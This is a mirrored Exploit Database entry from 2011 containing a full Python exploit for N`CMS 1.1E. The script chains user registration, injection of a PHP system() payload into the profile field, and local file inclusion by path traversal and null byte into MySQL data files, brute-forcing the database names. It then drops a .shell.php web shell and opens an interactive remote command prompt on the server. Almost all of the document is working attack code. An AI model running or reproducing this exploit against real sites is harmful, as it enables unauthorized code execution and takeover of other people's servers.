N`CMS 1.1E – Local File Inclusion / Remote Code

Exploit Database
114 阅读

作者： TecR0c

日期： 2011-03-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/16961/

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#!/usr/bin/python

# ~INFORMATION

# Exploit Title: N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit

# Date: 11/3/2011

# Software link: http://bit.ly/eJAyw5

# Tested on: Linux bt

# Version: 1.1E

# PHP.ini Settings: gpc_magic_quotes = Off

# Note: The web application was lucky to not be exploited by session

# injection with a malicious username example <?php system($_GET[cmd]);

# as htmlentities() encoded the bracket :-)

# ~VULNERABLE CODE

'''

<?php

if( isset( $_GET['page'] ) )

{

if( file_exists( 'page/'.$_GET['page'].'.php' ) )

{

include( 'page/'.$_GET['page'].'.php' );

}

else

{

include( 'page/404.php' );

}

else

{

include( 'page/home.php' );

}

'''

import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass

from optparse import OptionParser

from urlparse import urlparse,urljoin

from urllib import urlopen

from cookielib import CookieJar

__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"

__DATE__ ="11.3.2011"

usage = 'Example : %s http://localhost/ncms/ -c user:pass -w databases.txt -p 127.0.0.1:8080' % __file__

parser = OptionParser(usage=usage)

parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",

help="HTTP Proxy <server>:<port>")

parser.add_option("-w","--wordlist", type="string",action="store", dest="wordlist",

help="file to use to bruteforce database")

parser.add_option("-c","--credentials", type="string",action="store", dest="credentials",default="hacker:ph33r",

help="credentials for login, "

"or [default: %default]")

(options, args) = parser.parse_args()

if options.proxy:

print '[+] Using Proxy'+options.proxy

# User Agents

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",

"Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",

"Google Chrome 0.2.149.29 (Windows XP)",

"Opera 9.25 (Windows Vista)",

"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",

"Opera/8.00 (Windows NT 5.1; U; en)"]

agent = random.choice(agents)

traversal = './../../../../../../../..'

def banner():

if os.name == "posix":

os.system("clear")

else:

os.system("cls")

header = '''

|----------------------------------------|

|Exploit: N'CMS LFI RCE

|Author: %s

|Date: %s

|----------------------------------------|\n

'''%(__CONTACT__,__DATE__)

for i in header:

print "\b%s"%i,

sys.stdout.flush()

time.sleep(0.005)

def proxyCheck():

if options.proxy:

try:

h2 = httplib.HTTPConnection(options.proxy)

h2.connect()

print "[+] Using Proxy Server:",options.proxy

except(socket.timeout):

print "[-] Proxy Timed Out\n"

pass

sys.exit(1)

except(NameError):

print "[-] Proxy Not Given\n"

pass

sys.exit(1)

except:

print "[-] Proxy Failed\n"

pass

sys.exit(1)

def getProxy():

try:

proxy_handler = urllib2.ProxyHandler({'http': options.proxy})

except(socket.timeout):

print "\n[-] Proxy Timed Out"

sys.exit(1)

return proxy_handler

cj = CookieJar()

if options.proxy:

opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))

else:

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

opener.addheaders = [('User-agent', agent)]

def registerUser():

webSiteUrl = url.geturl()+"?page=register"

parameters = {'login' : username,'password': password,'password2' : password,'email' : 'test@test.com',

'register' : '+Enregistrer+'}

encodedParameters = urllib.urlencode(parameters)

try:

opener.open(webSiteUrl, encodedParameters).read()

except:

print '[-] Failed'

sys.exit()

print '[+] Created User, '+username

def edit_profile():

webSiteUrl = url.geturl()+"?page=edit_profil"

parameters = { 'User-Agent' : agent,

'profil' : '<?php system(base64_decode($_REQUEST["cmd"]));?>','edit_profil' : '+Enregistrer+'}

encodedParameters = urllib.urlencode(parameters)

try:

response = opener.open(webSiteUrl, encodedParameters).read()

except:

print '[-] Failed'

sys.exit()

print '[+] Added Payload To Page'

def login():

""" Add php payload to database """

webSiteUrl = url.geturl()+"?page=register"

parameters = {'login' : username,'password' : password,'actplayer' : 'login'}

encodedParameters = urllib.urlencode(parameters)

try:

opener.open(webSiteUrl, encodedParameters).read()

except:

print '[-] Failed'

sys.exit()

print '[+] Authenticated To Website'

def traversalCmd(encodedCommand,database):

webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"

parameters = {'cmd' : encodedCommand}

encodedParameters = urllib.urlencode(parameters)

try:

opener.open(webSiteUrl, encodedParameters).read()

except:

print '[-] Failed'

sys.exit()

def postRequestWebShell(encodedCommand):

webSiteUrl = url.geturl()+'.shell.php'

commandToExecute = [

('cmd',encodedCommand)]

cmdData = urllib.urlencode(commandToExecute)

try:

response = opener.open(webSiteUrl, cmdData).read()

except:

print '[-] Failed'

sys.exit()

return response

def fileCheck():

webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/mysql_upgrade_info%00"

try:

response = opener.open(webSiteUrl).read()

except:

print '[-] Failed'

sys.exit()

doesntExist = re.compile(r"Erreur 404")

findAnswer = doesntExist.search(response)

if findAnswer:

"[-] Can Not Use This Techinque"

sys.exit()

def bruteForceDatabase():

try:

databases = open(options.wordlist, "r").readlines()

print "[+] Length Of Wordlist: "+str(len(databases))

except(IOError):

print "[-] Error: Check Your Wordlist Path\n"

sys.exit(1)

for database in databases:

database = database.replace("\r","").replace("\n","")

webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"

print '[X] Testing Database Name: '+database

try:

response = opener.open(webSiteUrl).read()

except urllib2.HTTPError, error:

print '[-] Failed'

payload = re.compile(r"Erreur 404")

findPayload = payload.search(response)

if not findPayload:

print '[+] Found Database: '+database+'\n'

commandLine(database)

def commandLine(database):

encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"

encodedCommand = base64.b64encode(encodedCommand)

traversalCmd(encodedCommand,database)

commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)

while True:

try:

command = raw_input(commandLine)

encodedCommand = base64.b64encode(command)

response = postRequestWebShell(encodedCommand)

print response

except KeyboardInterrupt:

encodedCommand = base64.b64encode('rm .shell.php')

postRequestWebShell(encodedCommand)

print "\n[!] Removed .shell.php\n"

sys.exit()

if "__main__" == __name__:

banner()

try:

url=urlparse(args[0])

except:

parser.print_help()

sys.exit()

getProxy()

username, password = options.credentials.split(':')

proxyCheck()

registerUser()

edit_profile()

fileCheck()

bruteForceDatabase()